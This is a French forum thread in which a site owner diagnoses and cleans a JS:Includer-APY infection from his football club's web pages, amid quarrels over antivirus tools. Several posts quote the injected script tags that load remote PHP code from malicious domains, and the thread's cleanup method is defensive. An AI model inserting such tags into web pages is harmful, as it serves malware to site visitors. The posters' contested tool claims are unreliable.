sujet Re : includer-apy dans protéger mes données et mon accès internet

includer-apy

vasco8 — Wed, 15 Jan 2014 12:18:46 GMT

Bonjour

Sur mon pc site perso sur le foot impossible d'y accéder depuis hier

Infection bloquée

URL :

http://as.gestel.pagesperso-orange.fr/historique1.ht...

Infection :

JS:Includer-APY [Trj]

Avec Filezilla quand je veux rapatrier mon fichier index il supprime mon fichier index sur le fichier source

Impossible de faire une restauration du système.

hhp://asgestel.new.fr

Le site s'ouvre t'il chez vous

Comment se débarraser de ce trojan

Avast ne trouve rien

Malwarebytes idem

Re : includer-apy

black-ice — Wed, 15 Jan 2014 15:06:58 GMT

bonjour,

en faisant un copier coller de l'adresse non !!

je pe,se que tu as tu oublier certains caractères

mais ce dernier est accessible a cette adresse

http://asgestel.new.fr/

toutefois pour la soirée du 26 avril 2014 c'est accès interdit car trojan , les festivités idem ,

essaye peut etre avec TDSS de kaspersky

http://support.kaspersky.com/fr/#s_tab4

a moins que @zenix fasse un saut sur ce sujet

cdt,

Re : includer-apy

vasco8 — Wed, 15 Jan 2014 15:35:42 GMT

Bonjour black ice

J'ai scanné avec TDSS mais rien trouvé.

Je rapatrie mes pages htm en déactivant avast et dans le code source j'ai decouvert

<script
src="http://www.edinburgh-selfcatering-accommodation.com/I74uJDxi.php?id=50628904"
type="text/javascript"></script> </td>

sur trois pages.

Je vais m'amuser à toutes les rapatrier et supprimer cette partie de code.

Après on verra si le site refonctionne

Bonne soirée

Re : includer-apy

vasco8 — Wed, 15 Jan 2014 19:10:15 GMT

Bonsoir

Méthode pour nettoyer un site infesté par un trojan includer-apy détecté par un antivirus.

Utiliser malwarebytes et en complément adwcleaner voir site :

http://malwaretips.com/blogs/pup-optional-visualbee-removal/

Une fois le pc nettoyé nettoyer toutes les pages htm ou html.

D’ACTIVER VOTRE ANTVIRUS

Vous voyez sur le site distant que vos page htm ou html on été modifiées toutes à la même date.

Il faut modifier les pages 1 par 1

Sur votre logiciel de transfère rapatrier la page du site distant vers le site local.

Avec votre logiciel de création de sites ouvrir la page, afficher le code source

<script
src="http://www.edinburgh-selfcatering-accommodation.com/I74uJDxi.php?id=50628904"
type="text/javascript"></script> </td>

Enregistrer la modification

Retour au logiciel de transfert, supprimer le fichier du site distant et replacer le fichier modifié.

Répéter pour chaque fichier htm ou html de votre site

Bon courage

Re : includer-apy

vasco8 — Wed, 15 Jan 2014 19:14:22 GMT

lire : ouvrir le code source et supprimer

Re : includer-apy

zenix — Thu, 16 Jan 2014 13:42:22 GMT

Bonjour Black-ice
Bonjour Vasco

dans le premier lien   que tu as mis dans ton premier message
comme   l ' a suggéré Black-ice , l adresse est incompléte !
a la   fin , il   manque le < ml > , du   html , qui est remplacé par des points
si on   rectifie l URL , ça marche !!!

http://as.gestel.pagesperso-orange.fr/historique1.html
--------------
c ' est pas le site qui est infesté , c ' est   ton PC !

en plus , le   Malwarebytes que   tu as   utilisé n ' est   pas un vrai , surement une vérole !
regarde bien l 'URL du site ; c ' est   indiqué   " malwaretips .com "

et non pas " malwarebytes.org " , comme ça devrait

on peut l avoir sur le site   officiel

http://www.malwarebytes.org/free/

ou bien sur le site tres   explicite =

http://assiste.free.fr/Assiste/Malwarebytes_Anti_Malware_%28MBAM%29.html

@+
Zenix®

Re : includer-apy

vasco8 — Thu, 16 Jan 2014 17:28:02 GMT

Bonsoir Xenix

L’adresse erronée est un message de avast pour site bloqué.

J’utilise malwarebyte pro pour mon pc.

Il me semble que mes ennuis viennent du faite que j’avais mis la météo sur le site.

http://www.prevision-meteo.ch/services

Depuis que j’ai installé le code source mon site a été vérolé 2 fois.

Une fois

</div><script src="http://muslimischegemeindeaalen.de/nOfzwEo7.php?id=50628897" type="text/java-script"></script>

Une deuxième fois

<script
src="http://www.edinburgh-selfcatering-accommodation.com/I74uJDxi.php?id=50628904"
type="text/javascript"></script> </td>

Dans toutes les pages html du site

Re : includer-apy

zenix — Thu, 16 Jan 2014 18:47:40 GMT

Bonjour Vasco

si tu   utilise   Avast et   Malwarebytes Pro , qui a une fonction résident , c ' est   pas étonnant qu ' il y a des Bugs !
et en plus tu fais une   analyse avec    un anti- malware vérolé !

et puis , évite aussi   de mettre   des liens pourris sur   ce forum

http://www edinburgh selfcatering .accommodation com/I74uJDxi.p h p?id=0628904"
------------------------------------------

garde ton site pour toi ,et viens pas   en faire de pub ici

Zenix®

Re : includer-apy

vasco8 — Thu, 16 Jan 2014 19:19:04 GMT

Bonsoir

Pour qui prends-tu les contributeurs du forum ?

Je ne fais pas la pub pour un site malveillant , je signale simplement ce que l’on peut trouver dans le code source quand son site est bloqué par un antivirus.

De plus je te signale d’avast et malwarebyte n’ont pas la même fonction et ne provoquent pas de conflit sur un pc.

Je te redis si tu n’as pas compris que je n’ai pas fait d’analyse avec un malware vérolé mais avec un malwarebytes pro.

Si tu viens sur le forum pour critiquer la manière dont on règle le problème pas la peine de répondre.

J’aurais préféré que tu trouves une solution à mon problème

Bonne soirée

Re : includer-apy

black-ice — Thu, 16 Jan 2014 19:41:55 GMT

bonjour,

je viens a nouveau d'aller sur le site et la j'ai consulté les pages sans problèmes

le trojan generic n'est que temporaire je l'ai deja rencontré sur certaines pages web il reste un certains temps puis s'en va comme il est venu

j'ai meme rencontré une fois un flashplayer piégé sur un site d'association il convient de redoubler de vigilance !!

cdt,

Re : includer-apy

vasco8 — Thu, 16 Jan 2014 19:58:08 GMT

Bonsoir black ice

J'ai réussi à traité mon probléme

J'ai aussi eu le flash player la première fois

Bonne soirée

Re : includer-apy

vasco8 — Thu, 16 Jan 2014 20:04:07 GMT

Bonsoir zenix

si tu utilise Avast et Malwarebytes Pro , qui a une fonction résident , c ' est pas étonnant qu ' il y a des Bugs !

Sur tes propos et le site que tu me donnes il y a discordance

http://assiste.free.fr/Assiste/Malwarebytes_Anti_Malware_%28MBAM%29.html

MMBAM est l'un des meilleurs outils s'attaquant à ce côté obscur qui se cache dans nos ordinateurs. MBAM ne remplace pas un antivirus, il le complète en s'attaquant à tout ce que les antivirus ne ciblent pas.

Re : includer-apy

zenix — Thu, 16 Jan 2014 21:13:23 GMT

@vasco8

d ' accord avec toi sur ça =

MBAM est l'un des meilleurs outils s'attaquant à ce côté obscur qui se cache dans nos ordinateurs. MBAM ne remplace pas un antivirus, il le complète en s'attaquant à tout ce que les antivirus ne ciblent pas.
---------------------------
a condition d utiliser   la version Free
--------------------------
je   maintiens que la    version   " Malwarebytes Pro " , a une fonction résident
tout   comme   Avast , et de ce fait sont incompatibles   ensembles !

les liens que j ' ai   donné   sont   pour télécharger MBAM en version Free !
qui ne pose   aucun problémes   pour analyser un systéme   ayant   déja un AV d installé
-----------------------------------

et ça   veut dire quoi ça =>

vasco8 le ‎15-01-2014 20h10

Bonsoir

Méthode pour nettoyer un site infesté par un trojan includer-apy détecté par un antivirus.

Utiliser malwarebytes et en complément adwcleaner voir site :

http://malwaretips.com/blogs/pup-optional-visualbee-removal/

---------------------------
malwaretips et malwarebytes , c ' est pas la méme chose !

sur ce , bonne soirée à tous !

Zenix®

____________

Avis fourni par    Google

Navigation sécurisée

Page de diagnostic pour edinburgh-selfcatering-accommodation.com

Quel est l'état actuel du site edinburgh-selfcatering-accommodation.com ?

    Ce site est répertorié comme suspect. Une visite sur celui-ci peut endommager votre ordinateur.

    Une activité suspecte sur une partie de ce site a été détectée 1 fois au cours des 90 derniers jours.

Que s'est-il passé lors de la visite de ce site par le robot Google ?

    Sur les 112 pages du site que nous avons testées au cours des 90 derniers jours, un certain nombre (0) entraînait le téléchargement et l'installation de logiciels malveillants sans l'autorisation de l'utilisateur. La dernière visite effectuée par le robot Google sur ce site a eu lieu le 2014-01-16, et le dernier contenu suspect sur celui-ci a été détecté le 2014-01-16.

    Ce site était hébergé sur 1 réseau(x), y compris AS20738 (AS20738).

Ce site a-t-il servi d'intermédiaire pour favoriser la propagation de logiciels malveillants ?

    Au cours des 90 derniers jours, edinburgh-selfcatering-accommodation.com ne semble pas avoir servi d'intermédiaire pour l'infection de sites.

Ce site a-t-il hébergé des logiciels malveillants ?

    Oui, ce site a hébergé des logiciels malveillants au cours des 90 derniers jours. Il a infecté 102 domaine(s), y compris exclusiveresalerights.info/, sweetline98.hu/, turismoperu.com.br/.

Que s'est-il passé ?

    Dans certains cas, des tiers peuvent ajouter du code malveillant sur des sites légitimes, ce qui déclenche l'affichage du message d'avertissement.

Étapes suivantes :

    Revenir à la page précédente
    Si vous êtes le propriétaire de ce site Web, vous pouvez, à l'aide des outils Google pour les webmasters, demander qu'il fasse l'objet d'un examen. Pour plus d'informations sur le processus correspondant, consultez le Centre d'aide pour les webmasters.

Dernière mise à jour : il y a 4 heures.

© Google - Accueil Google

Re : includer-apy

vasco8 — Fri, 17 Jan 2014 09:46:26 GMT

Bonjour Xenix

Tu pourras dire ce que tu veux mais utiliser ADV Cleaner en complément de malwarebytes pro est très efficace, si j’avais su que tu étais si récalcitrant à ce procédé j’aurais garder une copie des rapports des 2 logiciels pour te le prouver.

malwarebytes pro n’est pas un antivirus comme son nom l’indique c’est un anti malware.

C’est avast qui à bloqué mon site en temps réel et qui bloque les virus.

Malwarebyte pro est inefficace en temps réel sauf pour te signaler qu’il bloque une adresse ip.

Par contre très efficace et rapide pour le nettoyage du pc.

Sur ce je clos le débat, mon site fonctionne et pas grâce à toi.

Bonne journée

Re : includer-apy

black-ice — Fri, 17 Jan 2014 11:48:43 GMT

bonjour zenix ,

le site a toujours le trojan a ce jour,

alors qu'en allant a cette adresse

http://www.edinburgh.org/accommodation/self-catering

tu t'offre une escapade !!

cdt,

Re : includer-apy

zenix — Fri, 17 Jan 2014 13:49:36 GMT

Bonjour Vasco8
Bonjour   Black-ice

je viens d aller voir " le " site , avec IE   et   Firefox et kaspersky , par précaution , et , oh , surprise
pas d alertes !

mais une   bizarrerie , pas bien méchant mais ...
quand   on   cliquait sur ce lien du message   =>
http://www.edinburgh-selfcatering-accommodation.com/I74uJDxi.php?id=50628904"
l ' URL affichée dans la barre de recherche de IE   et   par kaspersky comme sur ta photo , est bien => http://www.edinburgh.self-catering-accommodation.com/

elle a eu   changé il y a 1 heure
=>http://www.edinburgh.org/accommodation/self-catering

et maintenant , c est page blanche !!

je me pose la question :
est-ce   qu ' ils   ont   entendu qu ' on parlait d ' eux , et se sont dépéchés de faire le ménage !
( il y a des   oreilles partout maintenant )
---------------
tout   est   bien qui finit bien .

Bonne journée à vous deux
Cdlt

Zénix®

Re : includer-apy

zenix — Fri, 17 Jan 2014 13:54:54 GMT

Suite

C ' est le binzz complet ce site !!

les URL ont encore changé !